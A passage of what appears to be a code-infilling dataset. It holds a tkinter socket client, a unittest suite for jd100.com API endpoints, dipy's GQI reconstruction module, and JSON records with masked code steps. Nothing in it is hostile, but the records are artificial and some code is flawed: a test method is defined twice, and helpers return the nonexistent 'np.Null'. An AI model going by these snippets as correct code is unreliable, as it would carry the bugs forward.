server!\nclient_socket.connect((IP, PORT))\n\n\n# Handling Ctrl+C in a very cool way\nimport signal\n\n\nsignal.signal(signal.SIGINT, sigint_handler)\n\n# Clever function to send username to the server\n# Format\n# Header: length_of_username\n# Body: Username\n\n# Header length used to receive the username\nHEADER_LENGTH = 10\n\ndef sendUsernameToServer(username_entry):\n username = username_entry.encode('utf-8')\n username_header = f\"{len(username):<{HEADER_LENGTH}}\".encode('utf-8')\n client_socket.send(username_header + username)\n checkIO()\n\ndef checkIO():\n # polling between user input and message received from the server\n sockets_list = [sys.stdin, client_socket]\n\n # checking for I/O in read_sockets\n read_sockets, write_socket, error_socket = select.select(\n sockets_list, [], [])\n\n for socket in read_sockets:\n # If socket == client_socket, we got a message\n if socket == client_socket:\n message = socket.recv(2048)\n if not len(message):\n text_label['text'] = \"Connection closed by server\"\n print(\"Connection closed by server\")\n sys.exit()\n \n text_label['text'] = message.decode('utf-8')\n print(message.decode('utf-8'))\n\ndef sendY():\n # Else, we can send a message\n message = 'y'\n message = message.encode('utf-8')\n client_socket.send(message)\n #sys.stdout.write(str(my_username) + \" > \")\n # sys.stdout.write(message.decode('utf-8'))\n sys.stdout.flush()\n checkIO()\n \ndef sendN():\n # Else, we can send a message\n message = 'n'\n message = message.encode('utf-8')\n client_socket.send(message)\n #sys.stdout.write(str(my_username) + \" > \")\n # sys.stdout.write(message.decode('utf-8'))\n sys.stdout.flush()\n checkIO()\n\n #client_socket.close()\n\n#-----------------------------------------------------\n#-------------GUI-LAYOUT------------------------------\n#-----------------------------------------------------\n\ncanvas = tk.Canvas(root, height=HEIGHT, width=WIDTH)\ncanvas.pack()\n\nbackground_image = tk.PhotoImage(file='background.gif')\nbackground_label = tk.Label(root, image=background_image)\nbackground_label.place(relwidth=1, relheight=1)\n\ncovid_label = tk.Label(root, text=\"COVID-19 Helper\", bg=\"sky blue\")\ncovid_label.config(font=(\"Arial\", 40))\ncovid_label.place(relx=0.12, rely=0.1, relwidth=0.76, relheight=0.1)\n\nmain_frame = tk.Frame(root, bg=\"light blue\")\nmain_frame.place(relx=0.12, rely=0.2, relwidth=0.76, relheight=0.7)\n\n#----------------------------------------------------------\n\nright_frame = tk.Frame(main_frame, bg=\"sky blue\")\nright_frame.place(relx=0.74, rely=0.05, relwidth=0.23, relheight=0.9)\n\nheat_button = tk.Button(right_frame, text=\"View HeatMap\", bg=\"deep sky blue\", activebackground=\"steel blue\")\nheat_button.place(relx=0.05, rely=0.04, relwidth=0.9, relheight=0.2)\n\ninfo_button = tk.Button(right_frame, text=\"Covid-19 HSE Info\", bg=\"deep sky blue\", activebackground=\"steel blue\")\ninfo_button.place(relx=0.05, rely=0.28, relwidth=0.9, relheight=0.2)\n\ncontact_button = tk.Button(right_frame, text=\"Heathcare Contacts\", bg=\"deep sky blue\", activebackground=\"steel blue\")\ncontact_button.place(relx=0.05, rely=0.52, relwidth=0.9, relheight=0.2)\n\ndoctor_button = tk.Button(right_frame, text=\"Speak with a doctor\", bg=\"orange2\", activebackground=\"DarkOrange1\")\ndoctor_button.place(relx=0.05, rely=0.76, relwidth=0.9, relheight=0.2)\n\n#----------------------------------------------------------\n\nleft_frame = tk.Frame(main_frame, bg=\"sky blue\")\nleft_frame.place(relx=0.03, rely=0.05, relwidth=0.69, relheight=0.9)\n\ntext_frame = tk.Frame(left_frame, bg=\"ghost white\")\ntext_frame.place(relx=0.05, rely=0.05, relwidth= 0.9, relheight=0.6)\n\ntext_label = tk.Label(text_frame, bg=\"ghost white\", font=('Courier', 10))\ntext_label['text'] = \"Please enter your username and click\\n'Connect to testing server'\"\ntext_label.place(relwidth=1, relheight=1)\n\nserver_button = tk.Button(left_frame, text=\"Connect to testing server\", bg=\"deep sky blue\", activebackground=\"steel blue\", command=lambda: sendUsernameToServer(username_entry.get()))\nserver_button.place(relx=0.05, rely=0.7, relwidth=0.9, relheight=0.05)\n\nusername_label = tk.Label(left_frame, text=\"Username:\", bg=\"DarkSeaGreen1\")\nusername_label.place(relx=0.05, rely=0.77, relwidth=0.2, relheight=0.05)\n\nusername_entry = tk.Entry(left_frame, bg=\"PaleGreen1\")\nusername_entry.place(relx=0.3, rely=0.77, relwidth=0.65, relheight=0.05)\n\nyes_button = tk.Button(left_frame, text=\"Yes\", bg=\"deep sky blue\", activebackground=\"steel blue\", command=lambda: sendY())\nyes_button.place(relx=0.05, rely=0.84, relwidth=0.44, relheight=0.12)\n\nno_button = tk.Button(left_frame, text=\"No\", bg=\"deep sky blue\", activebackground=\"steel blue\", command=lambda: sendN())\nno_button.place(relx=0.51, rely=0.84, relwidth=0.44, relheight=0.12)\n\n#----------------------------------------------------------\n\nroot.mainloop()", "step-ids": [ 4, 5, 6, 7, 9 ] }
[ 4, 5, 6, 7, 9 ]
import requests import unittest import time from common import HTMLTestReport class Get(unittest.TestCase): TMPTOKEN = '' TOKEN = '' def setUp(self): pass # 获取临时token,opterTmpToken def test_gettmptoken(self): url = 'https://jdapi.jd100.com/uc/core/v1/sys/opterTmpToken' params = {'sysID': '5'} r = requests.get(url=url, params=params) print(r.text) opterTmpToken = r.json().get('data')['opterTmpToken'] Get.TMPTOKEN = opterTmpToken print(opterTmpToken) # 获取正式token,opterToken def test_gettoken(self): url = 'https://jdapi.jd100.com/uc/v1/sys/opterToken' params = {'opterTmpToken': Get.TMPTOKEN} r = requests.get(url=url, params=params) opterToken = r.json().get('data')['opterToken'] Get.TOKEN = opterToken print(opterToken) #获取教师资质信息,校验结果是否返回success def test_getQualificationInfo(self): url = 'https://jdapi.jd100.com/coursemgr/v1/getQualificationInfo' para = {'opterToken':Get.TOKEN} r = requests.get(url=url, params=para) assert r.json()['message'] == 'Success' print(r.json()) # 获取教师资质信息,校验接口返回的老师资质相关信息是否正确 def test_getQualificationInfo(self): url = 'https://jdapi.jd100.com/coursemgr/v1/getQualificationInfo' para = {'opterToken': Get.TOKEN} r = requests.get(url=url, params=para) assert r.json()['data'][2]['teacher_name'] == '测试勿扰老师' assert r.json()['data'][2]['certificate_url'] == 'https://jdspace.jd100.com/teachers/5c5f5d11-13f2-4ce0-8959-5e2ab23f22be.jpg' assert r.json()['data'][2]['teacher_url'] == 'https://jdspace.jd100.com/teachers/be6195dc-5f78-4661-b4dd-6ac709994498.jpg' assert r.json()['data'][2]['teacher_certificate'] == '111111111111111' def tearDown(self): pass def Run(): suite = unittest.TestSuite() # 执行顺序是安装加载顺序:先执行test_case2,再执行test_case1 suite.addTest(Get('test_gettmptoken')) suite.addTest(Get('test_gettoken')) suite.addTest(Get('test_getQualificationInfo')) now = time.strftime("%Y-%m-%d_%H%M", time.localtime()) filepath = './report/' + now + '.html' # 测试报告存放的位置 fp = open(filepath, 'wb') runner = HTMLTestReport.HTMLTestRunner( stream=fp, title='接口自动化测试报告', tester='白雪' ) runner.run(suite) fp.close() Run()
normal
{ "blob_id": "773c217f7f76bd82ed3dabf7ae1aba1871f0932f", "index": 8539, "step-1": "<mask token>\n\n\nclass Get(unittest.TestCase):\n <mask token>\n <mask token>\n\n def setUp(self):\n pass\n <mask token>\n\n def test_gettoken(self):\n url = 'https://jdapi.jd100.com/uc/v1/sys/opterToken'\n params = {'opterTmpToken': Get.TMPTOKEN}\n r = requests.get(url=url, params=params)\n opterToken = r.json().get('data')['opterToken']\n Get.TOKEN = opterToken\n print(opterToken)\n\n def test_getQualificationInfo(self):\n url = 'https://jdapi.jd100.com/coursemgr/v1/getQualificationInfo'\n para = {'opterToken': Get.TOKEN}\n r = requests.get(url=url, params=para)\n assert r.json()['message'] == 'Success'\n print(r.json())\n\n def test_getQualificationInfo(self):\n url = 'https://jdapi.jd100.com/coursemgr/v1/getQualificationInfo'\n para = {'opterToken': Get.TOKEN}\n r = requests.get(url=url, params=para)\n assert r.json()['data'][2]['teacher_name'] == '测试勿扰老师'\n assert r.json()['data'][2]['certificate_url'\n ] == 'https://jdspace.jd100.com/teachers/5c5f5d11-13f2-4ce0-8959-5e2ab23f22be.jpg'\n assert r.json()['data'][2]['teacher_url'\n ] == 'https://jdspace.jd100.com/teachers/be6195dc-5f78-4661-b4dd-6ac709994498.jpg'\n assert r.json()['data'][2]['teacher_certificate'] == '111111111111111'\n\n def tearDown(self):\n pass\n\n\n<mask token>\n", "step-2": "<mask token>\n\n\nclass Get(unittest.TestCase):\n <mask token>\n <mask token>\n\n def setUp(self):\n pass\n\n def test_gettmptoken(self):\n url = 'https://jdapi.jd100.com/uc/core/v1/sys/opterTmpToken'\n params = {'sysID': '5'}\n r = requests.get(url=url, params=params)\n print(r.text)\n opterTmpToken = r.json().get('data')['opterTmpToken']\n Get.TMPTOKEN = opterTmpToken\n print(opterTmpToken)\n\n def test_gettoken(self):\n url = 'https://jdapi.jd100.com/uc/v1/sys/opterToken'\n params = {'opterTmpToken': Get.TMPTOKEN}\n r = requests.get(url=url, params=params)\n opterToken = r.json().get('data')['opterToken']\n Get.TOKEN = opterToken\n print(opterToken)\n\n def test_getQualificationInfo(self):\n url = 'https://jdapi.jd100.com/coursemgr/v1/getQualificationInfo'\n para = {'opterToken': Get.TOKEN}\n r = requests.get(url=url, params=para)\n assert r.json()['message'] == 'Success'\n print(r.json())\n\n def test_getQualificationInfo(self):\n url = 'https://jdapi.jd100.com/coursemgr/v1/getQualificationInfo'\n para = {'opterToken': Get.TOKEN}\n r = requests.get(url=url, params=para)\n assert r.json()['data'][2]['teacher_name'] == '测试勿扰老师'\n assert r.json()['data'][2]['certificate_url'\n ] == 'https://jdspace.jd100.com/teachers/5c5f5d11-13f2-4ce0-8959-5e2ab23f22be.jpg'\n assert r.json()['data'][2]['teacher_url'\n ] == 'https://jdspace.jd100.com/teachers/be6195dc-5f78-4661-b4dd-6ac709994498.jpg'\n assert r.json()['data'][2]['teacher_certificate'] == '111111111111111'\n\n def tearDown(self):\n pass\n\n\n<mask token>\n", "step-3": "<mask token>\n\n\nclass Get(unittest.TestCase):\n TMPTOKEN = ''\n TOKEN = ''\n\n def setUp(self):\n pass\n\n def test_gettmptoken(self):\n url = 'https://jdapi.jd100.com/uc/core/v1/sys/opterTmpToken'\n params = {'sysID': '5'}\n r = requests.get(url=url, params=params)\n print(r.text)\n opterTmpToken = r.json().get('data')['opterTmpToken']\n Get.TMPTOKEN = opterTmpToken\n print(opterTmpToken)\n\n def test_gettoken(self):\n url = 'https://jdapi.jd100.com/uc/v1/sys/opterToken'\n params = {'opterTmpToken': Get.TMPTOKEN}\n r = requests.get(url=url, params=params)\n opterToken = r.json().get('data')['opterToken']\n Get.TOKEN = opterToken\n print(opterToken)\n\n def test_getQualificationInfo(self):\n url = 'https://jdapi.jd100.com/coursemgr/v1/getQualificationInfo'\n para = {'opterToken': Get.TOKEN}\n r = requests.get(url=url, params=para)\n assert r.json()['message'] == 'Success'\n print(r.json())\n\n def test_getQualificationInfo(self):\n url = 'https://jdapi.jd100.com/coursemgr/v1/getQualificationInfo'\n para = {'opterToken': Get.TOKEN}\n r = requests.get(url=url, params=para)\n assert r.json()['data'][2]['teacher_name'] == '测试勿扰老师'\n assert r.json()['data'][2]['certificate_url'\n ] == 'https://jdspace.jd100.com/teachers/5c5f5d11-13f2-4ce0-8959-5e2ab23f22be.jpg'\n assert r.json()['data'][2]['teacher_url'\n ] == 'https://jdspace.jd100.com/teachers/be6195dc-5f78-4661-b4dd-6ac709994498.jpg'\n assert r.json()['data'][2]['teacher_certificate'] == '111111111111111'\n\n def tearDown(self):\n pass\n\n\n<mask token>\n", "step-4": "import requests\nimport unittest\nimport time\nfrom common import HTMLTestReport\n\n\nclass Get(unittest.TestCase):\n TMPTOKEN = ''\n TOKEN = ''\n\n def setUp(self):\n pass\n\n def test_gettmptoken(self):\n url = 'https://jdapi.jd100.com/uc/core/v1/sys/opterTmpToken'\n params = {'sysID': '5'}\n r = requests.get(url=url, params=params)\n print(r.text)\n opterTmpToken = r.json().get('data')['opterTmpToken']\n Get.TMPTOKEN = opterTmpToken\n print(opterTmpToken)\n\n def test_gettoken(self):\n url = 'https://jdapi.jd100.com/uc/v1/sys/opterToken'\n params = {'opterTmpToken': Get.TMPTOKEN}\n r = requests.get(url=url, params=params)\n opterToken = r.json().get('data')['opterToken']\n Get.TOKEN = opterToken\n print(opterToken)\n\n def test_getQualificationInfo(self):\n url = 'https://jdapi.jd100.com/coursemgr/v1/getQualificationInfo'\n para = {'opterToken': Get.TOKEN}\n r = requests.get(url=url, params=para)\n assert r.json()['message'] == 'Success'\n print(r.json())\n\n def test_getQualificationInfo(self):\n url = 'https://jdapi.jd100.com/coursemgr/v1/getQualificationInfo'\n para = {'opterToken': Get.TOKEN}\n r = requests.get(url=url, params=para)\n assert r.json()['data'][2]['teacher_name'] == '测试勿扰老师'\n assert r.json()['data'][2]['certificate_url'\n ] == 'https://jdspace.jd100.com/teachers/5c5f5d11-13f2-4ce0-8959-5e2ab23f22be.jpg'\n assert r.json()['data'][2]['teacher_url'\n ] == 'https://jdspace.jd100.com/teachers/be6195dc-5f78-4661-b4dd-6ac709994498.jpg'\n assert r.json()['data'][2]['teacher_certificate'] == '111111111111111'\n\n def tearDown(self):\n pass\n\n\ndef Run():\n suite = unittest.TestSuite()\n suite.addTest(Get('test_gettmptoken'))\n suite.addTest(Get('test_gettoken'))\n suite.addTest(Get('test_getQualificationInfo'))\n now = time.strftime('%Y-%m-%d_%H%M', time.localtime())\n filepath = './report/' + now + '.html'\n fp = open(filepath, 'wb')\n runner = HTMLTestReport.HTMLTestRunner(stream=fp, title='接口自动化测试报告',\n tester='白雪')\n runner.run(suite)\n fp.close()\n\n\nRun()\n", "step-5": "import requests\nimport unittest\nimport time\nfrom common import HTMLTestReport\n\n\nclass Get(unittest.TestCase):\n TMPTOKEN = ''\n TOKEN = ''\n def setUp(self):\n pass\n\n # 获取临时token,opterTmpToken\n def test_gettmptoken(self):\n url = 'https://jdapi.jd100.com/uc/core/v1/sys/opterTmpToken'\n params = {'sysID': '5'}\n r = requests.get(url=url, params=params)\n print(r.text)\n opterTmpToken = r.json().get('data')['opterTmpToken']\n Get.TMPTOKEN = opterTmpToken\n print(opterTmpToken)\n\n # 获取正式token,opterToken\n def test_gettoken(self):\n url = 'https://jdapi.jd100.com/uc/v1/sys/opterToken'\n params = {'opterTmpToken': Get.TMPTOKEN}\n r = requests.get(url=url, params=params)\n opterToken = r.json().get('data')['opterToken']\n Get.TOKEN = opterToken\n print(opterToken)\n\n #获取教师资质信息,校验结果是否返回success\n def test_getQualificationInfo(self):\n url = 'https://jdapi.jd100.com/coursemgr/v1/getQualificationInfo'\n para = {'opterToken':Get.TOKEN}\n r = requests.get(url=url, params=para)\n assert r.json()['message'] == 'Success'\n print(r.json())\n\n # 获取教师资质信息,校验接口返回的老师资质相关信息是否正确\n def test_getQualificationInfo(self):\n url = 'https://jdapi.jd100.com/coursemgr/v1/getQualificationInfo'\n para = {'opterToken': Get.TOKEN}\n r = requests.get(url=url, params=para)\n assert r.json()['data'][2]['teacher_name'] == '测试勿扰老师'\n assert r.json()['data'][2]['certificate_url'] == 'https://jdspace.jd100.com/teachers/5c5f5d11-13f2-4ce0-8959-5e2ab23f22be.jpg'\n assert r.json()['data'][2]['teacher_url'] == 'https://jdspace.jd100.com/teachers/be6195dc-5f78-4661-b4dd-6ac709994498.jpg'\n assert r.json()['data'][2]['teacher_certificate'] == '111111111111111'\n\n def tearDown(self):\n pass\n\ndef Run():\n suite = unittest.TestSuite()\n # 执行顺序是安装加载顺序:先执行test_case2,再执行test_case1\n suite.addTest(Get('test_gettmptoken'))\n suite.addTest(Get('test_gettoken'))\n suite.addTest(Get('test_getQualificationInfo'))\n now = time.strftime(\"%Y-%m-%d_%H%M\", time.localtime())\n filepath = './report/' + now + '.html' # 测试报告存放的位置\n fp = open(filepath, 'wb')\n runner = HTMLTestReport.HTMLTestRunner(\n stream=fp,\n title='接口自动化测试报告',\n tester='白雪'\n )\n runner.run(suite)\n fp.close()\n\nRun()", "step-ids": [ 6, 7, 8, 11, 12 ] }
[ 6, 7, 8, 11, 12 ]
""" Classes and functions for generalized q-sampling """ import numpy as np from dipy.reconst.odf import OdfModel, OdfFit, gfa from dipy.reconst.cache import Cache import warnings from dipy.reconst.multi_voxel import multi_voxel_fit from dipy.reconst.recspeed import local_maxima, remove_similar_vertices class GeneralizedQSamplingModel(OdfModel, Cache): def __init__(self, gtab, method='gqi2', sampling_length=1.2, normalize_peaks=False): r""" Generalized Q-Sampling Imaging [1]_ This model has the same assumptions as the DSI method i.e. Cartesian grid sampling in q-space and fast gradient switching. Implements equations 2.14 from [2]_ for standard GQI and equation 2.16 from [2]_ for GQI2. You can think of GQI2 as an analytical solution of the DSI ODF. Parameters ---------- gtab : object, GradientTable method : str, 'standard' or 'gqi2' sampling_length : float, diffusion sampling length (lambda in eq. 2.14 and 2.16) References ---------- .. [1] Yeh F-C et al., "Generalized Q-Sampling Imaging", IEEE TMI, 2010 .. [2] Garyfallidis E, "Towards an accurate brain tractography", PhD thesis, University of Cambridge, 2012. Notes ----- As of version 0.9, range of the sampling length in GQI2 has changed to match the same scale used in the 'standard' method [1]_. This means that the value of `sampling_length` should be approximately 1 - 1.3 (see [1]_, pg. 1628). Examples -------- Here we create an example where we provide the data, a gradient table and a reconstruction sphere and calculate the ODF for the first voxel in the data. >>> from dipy.data import dsi_voxels >>> data, gtab = dsi_voxels() >>> from dipy.core.subdivide_octahedron import create_unit_sphere >>> sphere = create_unit_sphere(5) >>> from dipy.reconst.gqi import GeneralizedQSamplingModel >>> gq = GeneralizedQSamplingModel(gtab, 'gqi2', 1.1) >>> voxel_signal = data[0, 0, 0] >>> odf = gq.fit(voxel_signal).odf(sphere) See Also -------- dipy.reconst.dsi.DiffusionSpectrumModel """ OdfModel.__init__(self, gtab) self.method = method self.Lambda = sampling_length self.normalize_peaks = normalize_peaks # 0.01506 = 6*D where D is the free water diffusion coefficient # l_values sqrt(6 D tau) D free water diffusion coefficient and # tau included in the b-value scaling = np.sqrt(self.gtab.bvals * 0.01506) tmp = np.tile(scaling, (3, 1)) gradsT = self.gtab.bvecs.T b_vector = gradsT * tmp # element-wise product self.b_vector = b_vector.T @multi_voxel_fit def fit(self, data): return GeneralizedQSamplingFit(self, data) class GeneralizedQSamplingFit(OdfFit): def __init__(self, model, data): """ Calculates PDF and ODF for a single voxel Parameters ---------- model : object, DiffusionSpectrumModel data : 1d ndarray, signal values """ OdfFit.__init__(self, model, data) self._gfa = None self.npeaks = 5 self._peak_values = None self._peak_indices = None self._qa = None def odf(self, sphere): """ Calculates the discrete ODF for a given discrete sphere. """ self.gqi_vector = self.model.cache_get('gqi_vector', key=sphere) if self.gqi_vector is None: if self.model.method == 'gqi2': H = squared_radial_component # print self.gqi_vector.shape self.gqi_vector = np.real(H(np.dot( self.model.b_vector, sphere.vertices.T) * self.model.Lambda)) if self.model.method == 'standard': self.gqi_vector = np.real(np.sinc(np.dot( self.model.b_vector, sphere.vertices.T) * self.model.Lambda / np.pi)) self.model.cache_set('gqi_vector', sphere, self.gqi_vector) return np.dot(self.data, self.gqi_vector) def normalize_qa(qa, max_qa=None): """ Normalize quantitative anisotropy. Used mostly with GQI rather than GQI2. Parameters ---------- qa : array, shape (X, Y, Z, N) where N is the maximum number of peaks stored max_qa : float, maximum qa value. Usually found in the CSF (corticospinal fluid). Returns ------- nqa : array, shape (x, Y, Z, N) normalized quantitative anisotropy Notes ----- Normalized quantitative anisotropy has the very useful property to be very small near gray matter and background areas. Therefore, it can be used to mask out white matter areas. """ if max_qa is None: return qa / qa.max() return qa / max_qa def squared_radial_component(x, tol=0.01): """ Part of the GQI2 integral Eq.8 in the referenced paper by Yeh et al. 2010 """ with warnings.catch_warnings(): warnings.simplefilter("ignore") result = (2 * x * np.cos(x) + (x * x - 2) * np.sin(x)) / (x ** 3) x_near_zero = (x < tol) & (x > -tol) return np.where(x_near_zero, 1./3, result) def npa(self, odf, width=5): """ non-parametric anisotropy Nimmo-Smith et al. ISMRM 2011 """ # odf = self.odf(s) t0, t1, t2 = triple_odf_maxima(self.odf_vertices, odf, width) psi0 = t0[1] ** 2 psi1 = t1[1] ** 2 psi2 = t2[1] ** 2 npa = (np.sqrt( (psi0 - psi1) ** 2 + (psi1 - psi2) ** 2 + (psi2 - psi0) ** 2) / np.sqrt(2 * (psi0 ** 2 + psi1 ** 2 + psi2 ** 2))) # print 'tom >>>> ',t0,t1,t2,npa return t0, t1, t2, npa def equatorial_zone_vertices(vertices, pole, width=5): """ finds the 'vertices' in the equatorial zone conjugate to 'pole' with width half 'width' degrees """ return [i for i, v in enumerate(vertices) if np.abs(np.dot(v, pole)) < np.abs(np.sin(np.pi * width / 180))] def polar_zone_vertices(vertices, pole, width=5): """ finds the 'vertices' in the equatorial band around the 'pole' of radius 'width' degrees """ return [i for i, v in enumerate(vertices) if np.abs(np.dot(v, pole)) > np.abs(np.cos(np.pi * width / 180))] def upper_hemi_map(v): """ maps a 3-vector into the z-upper hemisphere """ return np.sign(v[2])*v def equatorial_maximum(vertices, odf, pole, width): eqvert = equatorial_zone_vertices(vertices, pole, width) # need to test for whether eqvert is empty or not if len(eqvert) == 0: print('empty equatorial band at %s pole with width %f' % (np.array_str(pole), width)) return None, None eqvals = [odf[i] for i in eqvert] eqargmax = np.argmax(eqvals) eqvertmax = eqvert[eqargmax] eqvalmax = eqvals[eqargmax] return eqvertmax, eqvalmax def patch_vertices(vertices, pole, width): """ find 'vertices' within the cone of 'width' degrees around 'pole' """ return [i for i, v in enumerate(vertices) if np.abs(np.dot(v, pole)) > np.abs(np.cos(np.pi * width / 180))] def patch_maximum(vertices, odf, pole, width): eqvert = patch_vertices(vertices, pole, width) # need to test for whether eqvert is empty or not if len(eqvert) == 0: print('empty cone around pole %s with with width %f' % (np.array_str(pole), width)) return np.Null, np.Null eqvals = [odf[i] for i in eqvert] eqargmax = np.argmax(eqvals) eqvertmax = eqvert[eqargmax] eqvalmax = eqvals[eqargmax] return eqvertmax, eqvalmax def odf_sum(odf): return np.sum(odf) def patch_sum(vertices, odf, pole, width): eqvert = patch_vertices(vertices, pole, width) # need to test for whether eqvert is empty or not if len(eqvert) == 0: print('empty cone around pole %s with with width %f' % (np.array_str(pole), width)) return np.Null return np.sum([odf[i] for i in eqvert]) def triple_odf_maxima(vertices, odf, width): indmax1 = np.argmax([odf[i] for i, v in enumerate(vertices)]) odfmax1 = odf[indmax1] pole = vertices[indmax1] eqvert = equatorial_zone_vertices(vertices, pole, width) indmax2, odfmax2 = equatorial_maximum(vertices, odf, pole, width) indmax3 = eqvert[np.argmin([np.abs(np.dot(vertices[indmax2], vertices[p])) for p in eqvert])] odfmax3 = odf[indmax3] """ cross12 = np.cross(vertices[indmax1],vertices[indmax2]) cross12 = cross12/np.sqrt(np.sum(cross12**2)) indmax3, odfmax3 = patch_maximum(vertices, odf, cross12, 2*width) """ return [(indmax1, odfmax1), (indmax2, odfmax2), (indmax3, odfmax3)]
normal
{ "blob_id": "2f193cb1eaf7b5e99d20025716a248144af90b92", "index": 1925, "step-1": "<mask token>\n\n\nclass GeneralizedQSamplingModel(OdfModel, Cache):\n\n def __init__(self, gtab, method='gqi2', sampling_length=1.2,\n normalize_peaks=False):\n \"\"\" Generalized Q-Sampling Imaging [1]_\n\n This model has the same assumptions as the DSI method i.e. Cartesian\n grid sampling in q-space and fast gradient switching.\n\n Implements equations 2.14 from [2]_ for standard GQI and equation 2.16\n from [2]_ for GQI2. You can think of GQI2 as an analytical solution of\n the DSI ODF.\n\n Parameters\n ----------\n gtab : object,\n GradientTable\n method : str,\n 'standard' or 'gqi2'\n sampling_length : float,\n diffusion sampling length (lambda in eq. 2.14 and 2.16)\n\n References\n ----------\n .. [1] Yeh F-C et al., \"Generalized Q-Sampling Imaging\", IEEE TMI, 2010\n\n .. [2] Garyfallidis E, \"Towards an accurate brain tractography\", PhD\n thesis, University of Cambridge, 2012.\n\n Notes\n -----\n As of version 0.9, range of the sampling length in GQI2 has changed\n to match the same scale used in the 'standard' method [1]_. This\n means that the value of `sampling_length` should be approximately\n 1 - 1.3 (see [1]_, pg. 1628).\n\n Examples\n --------\n Here we create an example where we provide the data, a gradient table\n and a reconstruction sphere and calculate the ODF for the first\n voxel in the data.\n\n >>> from dipy.data import dsi_voxels\n >>> data, gtab = dsi_voxels()\n >>> from dipy.core.subdivide_octahedron import create_unit_sphere\n >>> sphere = create_unit_sphere(5)\n >>> from dipy.reconst.gqi import GeneralizedQSamplingModel\n >>> gq = GeneralizedQSamplingModel(gtab, 'gqi2', 1.1)\n >>> voxel_signal = data[0, 0, 0]\n >>> odf = gq.fit(voxel_signal).odf(sphere)\n\n See Also\n --------\n dipy.reconst.dsi.DiffusionSpectrumModel\n\n \"\"\"\n OdfModel.__init__(self, gtab)\n self.method = method\n self.Lambda = sampling_length\n self.normalize_peaks = normalize_peaks\n scaling = np.sqrt(self.gtab.bvals * 0.01506)\n tmp = np.tile(scaling, (3, 1))\n gradsT = self.gtab.bvecs.T\n b_vector = gradsT * tmp\n self.b_vector = b_vector.T\n\n @multi_voxel_fit\n def fit(self, data):\n return GeneralizedQSamplingFit(self, data)\n\n\nclass GeneralizedQSamplingFit(OdfFit):\n\n def __init__(self, model, data):\n \"\"\" Calculates PDF and ODF for a single voxel\n\n Parameters\n ----------\n model : object,\n DiffusionSpectrumModel\n data : 1d ndarray,\n signal values\n\n \"\"\"\n OdfFit.__init__(self, model, data)\n self._gfa = None\n self.npeaks = 5\n self._peak_values = None\n self._peak_indices = None\n self._qa = None\n\n def odf(self, sphere):\n \"\"\" Calculates the discrete ODF for a given discrete sphere.\n \"\"\"\n self.gqi_vector = self.model.cache_get('gqi_vector', key=sphere)\n if self.gqi_vector is None:\n if self.model.method == 'gqi2':\n H = squared_radial_component\n self.gqi_vector = np.real(H(np.dot(self.model.b_vector,\n sphere.vertices.T) * self.model.Lambda))\n if self.model.method == 'standard':\n self.gqi_vector = np.real(np.sinc(np.dot(self.model.\n b_vector, sphere.vertices.T) * self.model.Lambda / np.pi))\n self.model.cache_set('gqi_vector', sphere, self.gqi_vector)\n return np.dot(self.data, self.gqi_vector)\n\n\n<mask token>\n\n\ndef npa(self, odf, width=5):\n \"\"\" non-parametric anisotropy\n\n Nimmo-Smith et al. ISMRM 2011\n \"\"\"\n t0, t1, t2 = triple_odf_maxima(self.odf_vertices, odf, width)\n psi0 = t0[1] ** 2\n psi1 = t1[1] ** 2\n psi2 = t2[1] ** 2\n npa = np.sqrt((psi0 - psi1) ** 2 + (psi1 - psi2) ** 2 + (psi2 - psi0) ** 2\n ) / np.sqrt(2 * (psi0 ** 2 + psi1 ** 2 + psi2 ** 2))\n return t0, t1, t2, npa\n\n\n<mask token>\n\n\ndef polar_zone_vertices(vertices, pole, width=5):\n \"\"\"\n finds the 'vertices' in the equatorial band around\n the 'pole' of radius 'width' degrees\n \"\"\"\n return [i for i, v in enumerate(vertices) if np.abs(np.dot(v, pole)) >\n np.abs(np.cos(np.pi * width / 180))]\n\n\ndef upper_hemi_map(v):\n \"\"\"\n maps a 3-vector into the z-upper hemisphere\n \"\"\"\n return np.sign(v[2]) * v\n\n\ndef equatorial_maximum(vertices, odf, pole, width):\n eqvert = equatorial_zone_vertices(vertices, pole, width)\n if len(eqvert) == 0:\n print('empty equatorial band at %s pole with width %f' % (np.\n array_str(pole), width))\n return None, None\n eqvals = [odf[i] for i in eqvert]\n eqargmax = np.argmax(eqvals)\n eqvertmax = eqvert[eqargmax]\n eqvalmax = eqvals[eqargmax]\n return eqvertmax, eqvalmax\n\n\ndef patch_vertices(vertices, pole, width):\n \"\"\"\n find 'vertices' within the cone of 'width' degrees around 'pole'\n \"\"\"\n return [i for i, v in enumerate(vertices) if np.abs(np.dot(v, pole)) >\n np.abs(np.cos(np.pi * width / 180))]\n\n\ndef patch_maximum(vertices, odf, pole, width):\n eqvert = patch_vertices(vertices, pole, width)\n if len(eqvert) == 0:\n print('empty cone around pole %s with with width %f' % (np.\n array_str(pole), width))\n return np.Null, np.Null\n eqvals = [odf[i] for i in eqvert]\n eqargmax = np.argmax(eqvals)\n eqvertmax = eqvert[eqargmax]\n eqvalmax = eqvals[eqargmax]\n return eqvertmax, eqvalmax\n\n\ndef odf_sum(odf):\n return np.sum(odf)\n\n\n<mask token>\n\n\ndef triple_odf_maxima(vertices, odf, width):\n indmax1 = np.argmax([odf[i] for i, v in enumerate(vertices)])\n odfmax1 = odf[indmax1]\n pole = vertices[indmax1]\n eqvert = equatorial_zone_vertices(vertices, pole, width)\n indmax2, odfmax2 = equatorial_maximum(vertices, odf, pole, width)\n indmax3 = eqvert[np.argmin([np.abs(np.dot(vertices[indmax2], vertices[p\n ])) for p in eqvert])]\n odfmax3 = odf[indmax3]\n \"\"\"\n cross12 = np.cross(vertices[indmax1],vertices[indmax2])\n cross12 = cross12/np.sqrt(np.sum(cross12**2))\n indmax3, odfmax3 = patch_maximum(vertices, odf, cross12, 2*width)\n \"\"\"\n return [(indmax1, odfmax1), (indmax2, odfmax2), (indmax3, odfmax3)]\n", "step-2": "<mask token>\n\n\nclass GeneralizedQSamplingModel(OdfModel, Cache):\n\n def __init__(self, gtab, method='gqi2', sampling_length=1.2,\n normalize_peaks=False):\n \"\"\" Generalized Q-Sampling Imaging [1]_\n\n This model has the same assumptions as the DSI method i.e. Cartesian\n grid sampling in q-space and fast gradient switching.\n\n Implements equations 2.14 from [2]_ for standard GQI and equation 2.16\n from [2]_ for GQI2. You can think of GQI2 as an analytical solution of\n the DSI ODF.\n\n Parameters\n ----------\n gtab : object,\n GradientTable\n method : str,\n 'standard' or 'gqi2'\n sampling_length : float,\n diffusion sampling length (lambda in eq. 2.14 and 2.16)\n\n References\n ----------\n .. [1] Yeh F-C et al., \"Generalized Q-Sampling Imaging\", 